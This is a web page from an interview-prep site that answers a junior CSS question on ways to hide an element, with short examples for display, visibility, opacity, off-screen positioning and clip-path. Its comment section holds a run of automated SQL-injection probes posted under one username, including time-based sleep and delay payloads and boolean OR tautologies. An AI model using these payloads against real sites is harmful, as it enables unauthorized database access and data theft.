How do you hide some element using CSS?

Experience Level: Junior
Tags: CSS

Answer

There are more ways how to hide element. Each of them is useful under certain conditions.

Display

For completely hiding an element, use display: none; style. The display property defines what is the display style of the element. If the property value is set to none, the element and all its descendants will be hidden.

No user interaction can be done with element hidden this way. The element is also invisible for screen readers.

The element is however still present in DOM and can be manipulated by JavaScript.

Example
.hidden {
    display: none;
}
Visibility
.hidden {
  visibility: hidden;
}

Opacity

Element hidden this way is made transparen by setting its opacity property to 0. The fully transparent/invisible element still occupies space in the layout and the user can interact with the element. The opacity can be animated so it can be used for nice transitions between visible and hidden element.

Example
.hidden {
  opacity: 0;
}

Position

If you want to make the element invisible but still have the option to interact with it, move the element out of the viewport. Such element can be read by screen readers. It can also receive focus.

Example
.hidden {
    position: absolute;
    top: -9000px;
    left: -9000px;
}

Clip-path

This method of hiding elements is not fully supported in Internet Explorer and Edge. User interactions with element hidden this way are not possible. The property can however be animated. The element is still available to screen readers.

Example
.hidden {
  clip-path: polygon(0px 0px,0px 0px,0px 0px,0px 0px);
}

Comments

No Comments Yet.
Be the first to tell us what you think.
CSS for beginners
CSS for beginners

Are you learning CSS ? Try our test we designed to help you progress faster.

Test yourself

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e